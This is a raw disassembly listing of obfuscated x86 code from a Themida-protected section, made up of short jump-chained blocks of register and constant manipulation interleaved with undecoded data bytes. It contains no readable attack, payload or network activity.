		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A0DF:				; CODE XREF: Themida_:0056398Ej
		mov	eax, [esp]
		add	esp, 4
		push	4810h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55CB98
; ---------------------------------------------------------------------------


loc_55A0F7:				; CODE XREF: Themida_:00557357j
		xor	eax, ecx
		push	2DEDh
		mov	[esp], eax
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_558D36
; ---------------------------------------------------------------------------
		db 59h
		dd 0F580DDF6h, 8BE80038h, 0C481240Ch, 4, 721CE9h, 455FBD00h
		dd 0E22D3AA4h, 1689708h, 8E205E8h, 555D6897h, 0FFFFFFBDh
		dd 55D805FFh, 0E82954D6h, 0D655D82Dh, 0EC835D54h, 24148904h
		dd 884988BAh, 2E28114h,	813DD702h, 0CF0BF3E2h, 81D2F750h
		dd 273A06C2h, 0D57AE99Ah, 8147FFFFh, 6A7992E7h,	7BEF814Ah
		dd 56238FB6h, 3C2CACBEh, 0BA5256h, 8120987Fh, 0F017E2E2h
		dd 14F75268h, 0E2C15A24h, 0FFB95103h, 0E9293042h, 0FFFFCD44h
		dd 62BD5553h, 89557A48h, 68505DEBh, 703709EEh, 0BBB95158h
		dd 813B5259h, 8AE9F1E9h, 59C83174h, 0E958C789h,	0FFFFA648h
		dd 8124048Bh, 4ECh, 24048900h, 6B03E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A1DA:				; CODE XREF: Themida_:00553E6Bj
		mov	[esp], edi
		push	eax
		push	184Ch
		mov	[esp], edx
		push	esi
		mov	edx, [esp]
		add	esp, 4
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56329C
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 4, 89CE8956h, 0F5E95EF3h, 81FFFFA3h, 0A35037C2h
		dd 0F2015947h, 0D8BE5651h, 0F776AC04h, 75E94ED6h, 5600009Eh
		dd 0BEh, 0C66EE900h, 3431FFFFh,	24343324h, 6624248Bh, 2404B30Fh
		dd 73DAE99Ch, 48FFFFFh,	89515C24h, 19F6E9E1h, 34FF0000h
		dd 0BE09E924h, 34FFFFFFh, 0EC835924h, 24348904h, 0FF9E22E9h
		dd 0CD366FFh, 0ADE99C24h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A27B:				; CODE XREF: Themida_:00552BD6j
		or	ecx, 70473137h
		add	ecx, 8090C40Dh
		add	edx, ecx
		jmp	loc_5546EB
; ---------------------------------------------------------------------------
		dw 8151h
		dd 4ECh, 24248900h, 4240483h, 6EABE9h, 74E78100h, 814DFB6Fh
		dd 1EFh, 6C42E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A2B2:				; CODE XREF: Themida_:0055D4C3j
		mov	[esp], edi
		mov	edi, 78125A6Dh
		shl	edi, 2
		sub	edi, 460C0616h
		add	edi, 1B9E4032h
		push	edx
		mov	edx, 6E4366C0h
		jmp	loc_554ACF
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 48345F40h, 7A45BB53h, 2B6833BFh,	0E9000010h
		dd 5C91h, 1278E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A2F2:				; CODE XREF: Themida_:0055DE00j
		push	ecx
		mov	ch, 0Ah
		mov	dl, 26h
		add	dl, ch
		pop	ecx
		xor	ah, dl
		pop	edx
		sub	ah, 0C9h
		push	ebx
		mov	bh, 6Fh
		add	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		xor	dh, ah
		pop	eax
		push	bx
		mov	bl, 0FCh
		xor	dh, bl
		pop	bx
		add	al, dh
		mov	edx, [esp]
		add	esp, 4
		push	5F67h
		jmp	loc_555798
; ---------------------------------------------------------------------------


loc_55A328:				; CODE XREF: Themida_:00561B12j
		push	7D8h
		mov	[esp], eax
		push	esi
		mov	esi, 70656B8Ch
		mov	eax, 0B6E7D601h
		sub	eax, 4B5A0EB6h
		add	eax, esi
		jmp	loc_5551B6
; ---------------------------------------------------------------------------


loc_55A347:				; CODE XREF: Themida_:00562312j
		push	ecx
		mov	ecx, 3DCB0B06h
		add	ecx, 5770474Dh
		dec	ecx
		shr	ecx, 3
		xor	ecx, 12A76A4Eh
		add	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 23883E84h
		jmp	loc_554E01
; ---------------------------------------------------------------------------


loc_55A36B:				; CODE XREF: Themida_:00561DE0j
		xor	ebp, [esp]
		jmp	loc_55AB09
; ---------------------------------------------------------------------------


loc_55A373:				; CODE XREF: Themida_:0055A7EFj
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55ABA5
; ---------------------------------------------------------------------------
		dd 2EE815Bh, 0E92C0630h, 0FFFF874Dh
; ---------------------------------------------------------------------------


loc_55A390:				; CODE XREF: Themida_:005592E6j
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_552107
; ---------------------------------------------------------------------------


loc_55A39B:				; CODE XREF: Themida_:00555CBDj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	eax
		jmp	loc_559D2D
; ---------------------------------------------------------------------------
		dd 5D2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55B5D8
; ---------------------------------------------------------------------------
		db 1, 0C8h, 59h
		dd 2E2DF829h, 8B63AD3Dh, 0C483243Ch, 0C1E95504h, 5800003Fh
		dd 4B951h, 69E90000h, 2C0000B4h, 0EC815A1Ah, 4,	0B3241C89h
		dd 0B1515067h, 2E9C06Ch, 0FFBAD0E9h, 1CF766FFh,	25E99C24h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A403:				; CODE XREF: Themida_:00556F96j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55FFD5
; ---------------------------------------------------------------------------


loc_55A411:				; CODE XREF: Themida_:005661D7j
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		jmp	loc_556F66
; ---------------------------------------------------------------------------
		dd 0EF81EF01h, 4AC16D08h, 243C875Dh, 4BC8E9h, 40BA5200h
		dd 0C1514C0Eh, 0F28103EAh, 2C215A31h, 24EA814Ah, 0E908776Eh
		dd 5AB7h
; ---------------------------------------------------------------------------


loc_55A44C:				; CODE XREF: Themida_:00566132j
		push	esp
		jmp	loc_558E2D
; ---------------------------------------------------------------------------
		dw 0D1E9h
		dd 0FEFFFF71h, 5B71E9CBh, 0D8280000h, 5BF1E9h, 5FFE2900h
		dd 54E9F729h, 0BAFFFFD0h, 6E7A3613h, 2414F752h,	51D2F75Ah
		dd 0FF8BD1E9h, 7F83ADFFh, 840F0020h, 0FFFFC541h, 25216850h
		dd 14890000h, 0AE85E924h, 0D8290000h, 3E26E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A4A2:				; CODE XREF: Themida_:00555D56j
		add	esi, 30FC6D69h
		and	esi, 6D3477D8h
		push	esi
		jmp	loc_55C08E
; ---------------------------------------------------------------------------


loc_55A4B4:				; CODE XREF: Themida_:00559139j
		sub	edi, 1AF47758h
		jmp	loc_556598
; ---------------------------------------------------------------------------
		db 31h
		dd 243C8BFBh, 0E9E08950h, 2918h
; ---------------------------------------------------------------------------


loc_55A4CC:				; CODE XREF: Themida_:00551CCCj
		add	esp, 4
		add	ebp, 32246DCh
		sub	ebp, 0B3C550EEh
		xor	edi, ebp
		jmp	loc_5575CA
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 1000000h, 32E95FFAh,	68000007h, 2755h, 66240489h, 0E96DB252h
		dd 7E00h, 2AFDE959h, 0B3BA0000h, 0E90D683Ch, 0BE15h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	eax
		mov	eax, 594B4857h
		sub	eax, 594B4853h
		jmp	loc_565148
; ---------------------------------------------------------------------------
		db 68h,	67h, 6Bh
		dd 815A6368h, 2C543EE2h, 0E2C14A1Fh, 0F289E903h, 83ADFFFFh
		dd 2C8904ECh, 0BBAE924h, 34FF0000h, 0D58BE924h,	0D828FFFFh
		dd 5B663E2Ch, 0FFBF24E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A571:				; CODE XREF: Themida_:005656EAj
		add	al, 4Bh
		add	al, bl
		sub	al, 4Bh
		add	al, 32h
		pop	ebx
		jmp	loc_55542C
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C0EC35D0h, 0C1018CD8h, 4E98358h, 2474FF51h,	48F5904h
		dd 1C895C24h, 75E95524h, 5900009Dh, 34FFF189h, 0B1E95E24h
		dd 66FFFFE6h, 6824048Bh, 17Dh, 83242C89h, 0DDE904ECh
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A5BF:				; CODE XREF: Themida_:005574CAj
		mov	esi, 4E0E3FC2h
		sub	eax, 5F653186h
		sub	eax, esi
		add	eax, 5F653186h
		pop	esi
		push	esi
		mov	esi, 79F11A20h
		jmp	loc_5545D3
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0E9242489h, 0FFFF7E55h
; ---------------------------------------------------------------------------


loc_55A5E8:				; CODE XREF: Themida_:00558E96j
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_56017C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4BB5300h, 1000000h, 0C335BD9h,	240C3124h, 8B240C33h
		dd 7EE92424h, 0F6FFFFE0h, 0B51FE9DAh, 53520000h, 7F38D4BBh
		dd 91EB811Bh, 4B15A421h, 5ACEB81h, 0DA89F5D3h, 0FFE3DDE9h
		dd 8BCA31FFh, 0BCE9240Ch, 0FF000092h, 815E2434h, 4C4h
		dd 4C8A6800h, 0BAE90000h, 81FFFFEBh, 476C65C6h,	4815622h
		dd 0B3799124h, 0BD555808h, 27C562E2h, 7C2FE581h, 0F5817C13h
		dd 4BC320DDh, 0F581DDF7h, 5A736353h, 0C581D5F7h, 0D30255E4h
		dd 8B5DE829h, 0C4812434h, 4, 0C8BC831h,	0A293E924h, 0C1590000h
		dd 9A2D03E8h, 0E9C72845h, 0FFFFCA7Fh, 4EC81h, 4890000h
		dd 0F9E6824h, 0FE90000h, 5500007Ch, 6843E9h, 0E9F82900h
		dd 0FFFF76C9h, 0FEC805Bh, 1D32E9h, 0C096B100h, 506608E9h
		dd 0E980C4B0h, 80C1003Fh, 0F8E93FC1h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A6E7:				; CODE XREF: Themida_:005645BAj
		jnz	loc_557A94
		push	6CE1h
		jmp	loc_55E7EF
; ---------------------------------------------------------------------------
		db 54h
		dd 4B9515Dh, 1000000h, 0F005E9CDh, 5AFFFFh, 241C8BD8h
		dd 0FFCE81E9h, 0D3EB81FFh, 11FFE2Fh, 0A887E9FBh, 0E95BFFFFh
		dd 0FFFFF63Bh
; ---------------------------------------------------------------------------


loc_55A724:				; CODE XREF: Themida_:00564A36j
		add	esp, 4
		jmp	loc_559289
; ---------------------------------------------------------------------------
		dd 2E981h, 0C330000h, 240C3124h, 5C240C33h, 241C8966h
		dd 94D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A745:				; CODE XREF: Themida_:00554760j
		sub	edi, ebx
		pop	ebx
		add	edi, esi
		add	edi, 280C0838h
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_560AB5
; ---------------------------------------------------------------------------
		db 81h
		dd 0F9336BF3h, 5E3C106h, 5C65CB81h, 0C3812D0Fh,	65F84EA1h
		dd 0ABC38143h, 0E99B1E7Ah, 1E95h, 0F089FE89h, 71EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A791:				; CODE XREF: Themida_:00555FD4j
		add	dword ptr [esp], 4
		jmp	loc_55181D
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 66512434h, 660002B9h, 24E9CE89h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A7AF:				; CODE XREF: Themida_:00554DFCj
		add	esp, 4
		push	ebp
		push	esp
		jmp	loc_5568E6
; ---------------------------------------------------------------------------
		dd 7CBCBA52h, 0EA8176E5h, 275A7563h, 0E9D2F74Ah, 2B46h
; ---------------------------------------------------------------------------


loc_55A7D0:				; CODE XREF: Themida_:0055E7E3j
		add	edi, edx
		push	eax
		mov	eax, 0A847CF7h
		neg	eax
		jmp	loc_565E8E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 41E94077h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A7E7:				; CODE XREF: Themida_:0055FD00j
		push	548h
		mov	[esp], ebx
		jmp	loc_55A373
; ---------------------------------------------------------------------------


loc_55A7F4:				; CODE XREF: Themida_:00563264j
		mov	[esp], ebx
		push	edi
		mov	edi, 633C5CFBh
		mov	ebx, 633C5CFFh
		jmp	loc_561DE5
; ---------------------------------------------------------------------------
		db 81h
		dd 0F17B92EBh, 0AEEB8145h, 0F7337570h, 81E3D1D3h, 0F3BE8EEBh
		dd 0F7A1E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A822:				; CODE XREF: Themida_:0055BEE3j
		xor	edi, [esp]
		mov	esp, [esp]
		push	ecx
		push	edx
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		add	ebp, ecx
		pop	ecx
		push	ebx
		push	eax
		mov	eax, 4
		jmp	loc_551B5F
; ---------------------------------------------------------------------------


loc_55A841:				; CODE XREF: Themida_:00557DB6j
		push	ebp
		mov	ebp, 3D4241E3h
		shl	ebp, 1
		shl	ebp, 1
		jmp	loc_55218F
; ---------------------------------------------------------------------------
		dd 1B38CF81h, 0E7C145C4h, 0DC78104h, 897EB660h,	628CE9FDh
		dd 0FC880000h, 0F5E9E288h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A86F:				; CODE XREF: Themida_:00551849j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_553034
; ---------------------------------------------------------------------------
		dw 1BAh
		dd 89000000h, 0DD015AD3h, 87E9E9h, 16D76800h, 348B4A9Ch
		dd 4C48324h, 240CFF56h,	5724348Bh, 2E9E789h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A8A3:				; CODE XREF: Themida_:0055537Bj
		mov	edi, esp
		push	esi
		mov	esi, 4
		jmp	loc_55C0E0
; ---------------------------------------------------------------------------
		dd 31241C33h, 1C33241Ch, 2C895C24h, 4EC8124h, 89000000h
		dd 0B9512424h, 4, 4244C01h, 68575D59h, 4, 61ED815Fh, 144C95Eh
		dd 61C581FDh, 0E944C95Eh, 0B486h, 616A68h, 240C8900h, 2235E9h
		dd 33E3BF00h, 68517F21h, 4EB8h,	68243489h, 638A3342h, 7FCE815Eh
		dd 81771D77h, 24778CF6h, 0BD554610h, 31917E72h,	0AB00E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A925:				; CODE XREF: Themida_:00559106j
		xor	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 0A8E4C346h
		sub	edx, 7FA16F21h
		jmp	loc_561F86
; ---------------------------------------------------------------------------
		dd 39A7B850h, 0C78122C2h, 482F7665h, 0EF81C729h, 482F7665h
		dd 8324048Bh, 0B9FD04C4h, 3FA4023Fh, 0E904EC83h, 9215h
		dd 0B8505156h, 2AD52E2Dh, 4958C189h, 4B74F181h,	0C98104D8h
		dd 674C7A42h, 932AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A981:				; CODE XREF: Themida_:00552372j
		push	4CD3h
		jmp	loc_561EF2
; ---------------------------------------------------------------------------
		db 4Eh
		dd 615DEE81h, 0DEF76857h, 66C6C681h, 0BBE95284h, 0F700008Ch
		dd 59E781D7h, 0C140C82Fh, 0C78108EFh, 2622C68Eh, 0CE9F829h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A9B7:				; CODE XREF: Themida_:00557A40j
		sub	esp, 4
		jmp	loc_561B02
; ---------------------------------------------------------------------------


loc_55A9C2:				; CODE XREF: Themida_:0055176Ej
		inc	ecx
		or	ecx, 1072177Dh
		sub	ecx, 147237F9h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		sub	bl, al
		jmp	loc_560245
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 2Dh
		dd 0F283AF3h, 20BD555Dh, 0E9647037h, 0A8A0h
; ---------------------------------------------------------------------------


loc_55A9F0:				; CODE XREF: Themida_:0055321Aj
		xor	eax, ebp
		pop	ebp
		xor	edi, eax
		pop	eax
		push	3702h
		mov	[esp], ebx
		push	edx
		push	54480C27h
		pop	edx
		shr	edx, 3
		shl	edx, 3
		jmp	loc_565F83
; ---------------------------------------------------------------------------


loc_55AA10:				; CODE XREF: Themida_:00551D8Cj
		pop	ebp
		push	30CBh
		mov	[esp], edi
		add	dword ptr [esp], 580D37ABh
		mov	eax, [esp]
		push	ecx
		jmp	loc_55DDAC
; ---------------------------------------------------------------------------
		db 66h,	51h, 0B5h
		dd 66E83041h, 0D9EF8059h, 0FFD9BFE9h, 0ABEF81FFh, 814C4E7Ah
		dd 216351EAh, 0E9FA2948h, 887Bh, 8B5EF329h, 0C4832404h
		dd 241C8704h, 0F624248Bh, 0B60F66F1h, 0A475E9CCh, 0E958FFFFh
		dd 249Eh, 0C681DE87h, 0B98AAA5Fh, 15EF089h, 24048BC3h
		dd 2904C483h, 0C1E953C3h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AA87:				; CODE XREF: Themida_:0055C3E2j
		sub	eax, ebx
		jmp	loc_563419
; ---------------------------------------------------------------------------


loc_55AA8E:				; CODE XREF: Themida_:00551A36j
		add	ebp, 4
		jmp	loc_5659CA
; ---------------------------------------------------------------------------
		db 2 dup(0BBh),	5Dh
		dd 81437831h, 0BB43ABEBh, 5BDF0968h, 0CABB5352h, 890E2910h
		dd 814A5BDAh, 0D6EF38C2h, 5AD729F1h, 0C781DFF7h, 3F248445h
		dd 0E95FF801h, 70A1h, 0E689565Bh, 4C681h, 0EE830000h, 24348704h
		dd 0B421E95Ch, 0E3890000h, 4C381h, 0EB830000h, 241C3304h
		dd 0FF8947E9h, 1D7968FFh, 1C890000h, 1AEE924h, 0D5F70000h
		dd 918CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AB09:				; CODE XREF: Themida_:0055A36Ej
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 7E5338F0h
		add	ebp, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	esi, ebp
		jmp	loc_55D398
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd offset dword_50744C+39Dh
		db 0
; ---------------------------------------------------------------------------


loc_55AB3D:				; CODE XREF: Themida_:0055BF58j
		pop	ecx
		not	ebx
		push	edi
		mov	edi, 595405A3h
		jmp	loc_552B78
; ---------------------------------------------------------------------------
aQS		db 'Q±Êé%]',0
		dw 8300h
		dd 48904ECh, 0C09EB024h, 0C0FE04E8h, 0FFFEC4E9h, 240433FFh
		dd 8324248Bh, 606804C4h, 0E900004Bh, 625h, 5D2434FFh, 56E28952h
		dd 0F228A4BEh, 0A5BD554Fh, 0F7364947h, 90C581D5h, 0C1029509h
		dd 80E904E5h, 68FFFFD9h, 5E9Ah,	5A2CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55ABA5:				; CODE XREF: Themida_:0055A37Fj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55646F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 54565824h, 4C6815Eh,	68000000h, 44E9h, 56241489h, 0FF78A8E9h
		dd 1BF57FFh, 293E1253h,	0CD2D5FF8h, 2953844Bh, 4EC81F0h
		dd 0E9000000h, 0FFFF9050h
; ---------------------------------------------------------------------------


loc_55ABEC:				; CODE XREF: Themida_:00553B87j
		push	ebx
		mov	ebx, ecx
		mov	ebp, ebx
		jmp	loc_56484F
; ---------------------------------------------------------------------------


loc_55ABF6:				; CODE XREF: Themida_:0056562Bj
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, edx
		sub	eax, 65762AA8h
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_563CB6
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFD0A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AC19:				; CODE XREF: Themida_:00554B4Fj
		push	edx
		push	ebx
		mov	ebx, 421651DAh
		jmp	loc_561D08
; ---------------------------------------------------------------------------
aWS4obOwiqszo	db 'W¿á+*4OÇÁOWIQé‡O',0
		align 4


loc_55AC38:				; CODE XREF: Themida_:0055FD8Aj
		mov	eax, 7FE150B4h
		jmp	loc_55601D
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 8B241C33h, 3CD32424h, 0D1E99C24h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC57:				; CODE XREF: Themida_:00560AC5j
		sub	esp, 4
		jmp	loc_56131A
; ---------------------------------------------------------------------------
		db 89h
		dd 0DEF758C6h, 0FFFFC681h, 0C681FFFFh, 5E833E05h, 0E681DEF7h
		dd 48261268h, 44EE81h, 0C2810826h, 32B30F71h, 995EA81h
		dd 0EA810537h, 4DDF58E5h, 0BFCE9h, 243C3300h, 0E924248Bh
		dd 7F5Ah, 8F665A66h, 87682404h,	0E9000065h, 1F2Ah, 42474FFh
		dd 5B2434FFh, 9B9BE9h, 58FE2D00h, 0D9054131h, 5A496ACh
		dd 0BDDCE129h, 5B5C68h,	2E28E900h, 0D8010000h, 0FFE2A9E9h
		dd 65F181FFh, 29FDF5DAh, 348759CEh, 24248B24h, 68241C89h
		dd 5828h, 53241489h, 0FA8801B7h, 0FF9AB4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AD01:				; CODE XREF: Themida_:00551946j
		sub	eax, edx
		jmp	loc_557C24
; ---------------------------------------------------------------------------
		dd 88240489h, 58E588D4h, 85BDE9h, 55E28900h, 0FF99FDE9h
		dd 0E68956FFh, 4C681h, 1DE90000h, 5D0000B3h, 0A1DBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AD31:				; CODE XREF: Themida_:0055E99Fj
		not	edi
		xchg	edi, esi
		inc	esi
		push	ebp
		mov	ebp, 4AB33A23h
		shr	ebp, 6
		sub	ebp, 829A862Bh
		add	esi, 5231480Dh
		add	esi, ebp
		jmp	loc_55C175
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0A0E92404h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AD5B:				; CODE XREF: Themida_:00553232j
		mov	esi, 46F56868h
		jmp	loc_56358B
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 89000000h, 0F1015BDEh, 529FE9h, 24348900h, 7B18E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AD7E:				; CODE XREF: Themida_:0055CA9Dj
		dec	dl
		neg	dl
		sub	dl, 0BFh
		jmp	loc_55D67C
; ---------------------------------------------------------------------------


loc_55AD8A:				; CODE XREF: Themida_:0055163Bj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_56218A
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 57000000h, 4BFh, 5FFB0100h, 3181E9h,	240C8900h, 18626852h
		dd 148B0D4Bh, 4C48124h,	81000000h, 0FFFFFFEAh, 2B951FFh
		dd 313E9570h, 72C6E9CAh, 0E9500000h, 0A898h
; ---------------------------------------------------------------------------


loc_55ADF0:				; CODE XREF: Themida_:00551C4Fj
		pop	ecx
		jmp	loc_562558
; ---------------------------------------------------------------------------


loc_55ADF6:				; CODE XREF: Themida_:0055F609j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_565056
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 2BD24h, 54E90000h, 89FFFFECh, 0A9F0E9E3h, 4890000h
		dd 40478F24h, 0FFDC46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AE21:				; CODE XREF: Themida_:0055FFCAj
		pop	esp
		jmp	loc_557603
; ---------------------------------------------------------------------------
		db 58h
		dd 81242C8Bh, 4C4h, 42EEE900h, 0EB890000h, 0E955565Dh
		dd 561Eh, 4BB53h, 0DF010000h, 243C335Bh, 0E9243C31h, 8BC4h
		dd 5724048Fh, 4BFh, 24448100h, 0DE75C804h, 4EC8146h, 89000000h
		dd 42BF243Ch, 83781806h, 148904ECh, 19BD5524h, 0F7232D19h
		dd 0E5CD81D5h, 813C5217h, 0D73C79F5h, 83F58123h, 898EC1A2h
		dd 54295DEAh, 0E3E90C24h, 81FFFFD4h, 384A2404h,	2C8B13C3h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 3FABE9h
		dd 4EC8100h, 89000000h,	0FAB9240Ch, 0E91F81EEh,	0FFFFBFC6h
		dd 7BDEEE81h, 0BB533423h, 7B3760B1h, 315E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AEE5:				; CODE XREF: Themida_:0055434Ej
		push	7A5Ah
		mov	[esp], eax
		push	2C26431Ch
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 0FFFFFFFFh
		push	ebp
		jmp	loc_5534A6
; ---------------------------------------------------------------------------
		dw 34FFh
aXvicphjd	db '$XV‰æPhJd',0
		dw 8900h
		dd 0CCBA2414h, 0F724B80Bh, 30F281DAh, 89DB47F4h, 0D00CE9D0h
		dd 0CD89FFFFh, 592434FFh, 0E904C483h, 6FC8h, 54240489h
		dd 730C6858h, 3C890000h, 4BF24h, 0F8010000h, 56243C8Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 68515C24h,	6C3Eh
		dd 51241C89h, 7B7371B9h, 81D9F749h, 6E4E34C1h, 8E1C131h
		dd 8102E9C1h, 0AA7DF2E1h, 42C18100h, 51FF5DCFh,	1456E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AF91:				; CODE XREF: Themida_:0055CE35j
		push	60B7h
		jmp	loc_5613CA
; ---------------------------------------------------------------------------
		db 54h
		dd 81240C8Bh, 4C4h, 4C18100h, 81000000h, 4C1h, 240C8700h
		dd 0ADA1E95Ch, 0CDBAFFFFh, 0E93D4C25h, 87F7h
; ---------------------------------------------------------------------------


loc_55AFC4:				; CODE XREF: Themida_:00559FD7j
		sub	edx, 6EB919CFh
		push	eax
		mov	eax, 6981144Bh
		jmp	loc_562C42
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4EB8300h, 0FF6709E9h, 0B42D59FFh, 5278364h, 74742138h
		dd 0FF818FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AFF5:				; CODE XREF: Themida_:00559A5Ej
		shl	ebp, 7
		add	ebp, 7293B3B1h
		jmp	loc_554EC0
; ---------------------------------------------------------------------------
		db 59h
		dd 961EE95Fh, 3C870000h, 7B1BE924h, 0EB810000h,	4A2816E1h
		dd 6231E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B01E:				; CODE XREF: Themida_:0055CAE0j
		not	edx
		add	edx, 677218F3h
		push	ebp
		jmp	loc_564687
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_566374
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BB241C89h, 57035664h, 72FEEB81h, 0DF294841h, 83241C8Bh
		dd 0C28104C4h, 12C5489Ch, 8948E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B061:				; CODE XREF: Themida_:00556C26j
		pop	ebx
		mov	eax, edx
		pop	edx
		jmp	loc_55CB03
; ---------------------------------------------------------------------------


loc_55B06A:				; CODE XREF: Themida_:0055CF5Bj
		push	21705A0Ch
		pop	ebp
		jmp	loc_55B5FB
; ---------------------------------------------------------------------------
aXhcl		db 'Xh—L',0
		dw 8900h
		dd 0E189240Ch, 4B850h, 0C1010000h, 0F486E958h, 0D789FFFFh
		dd 89EF815Ah, 0E9557A11h, 3BF8h
; ---------------------------------------------------------------------------


loc_55B09C:				; CODE XREF: Themida_:0055B1B6j
		push	ecx
		push	36F75789h
		pop	ecx
		sub	ecx, 14A0528Ah
		jmp	loc_55F1D1
; ---------------------------------------------------------------------------
		dw 295Bh
		dd 0FFFB87DFh, 835F2434h, 0EBC104C4h, 0B9515607h, 14050B5Fh
		dd 9C8CE981h, 0CE89C316h, 81240C8Bh, 4C4h, 8BF32900h, 89572434h
		dd 4C781E7h, 83000000h,	3C8704C7h, 0BA525C24h, 18249DCh
		dd 5AEA8142h, 0E9DDB731h, 80B0h
; ---------------------------------------------------------------------------


loc_55B0FC:				; CODE XREF: Themida_:00554B14j
		sub	edx, 70DF170Ah
		sub	edx, ebp
		jmp	loc_55D685
; ---------------------------------------------------------------------------


loc_55B109:				; CODE XREF: Themida_:00563E52j
		sub	bl, 28h
		jmp	loc_5658B0
; ---------------------------------------------------------------------------
		db 1, 0E8h, 0E9h
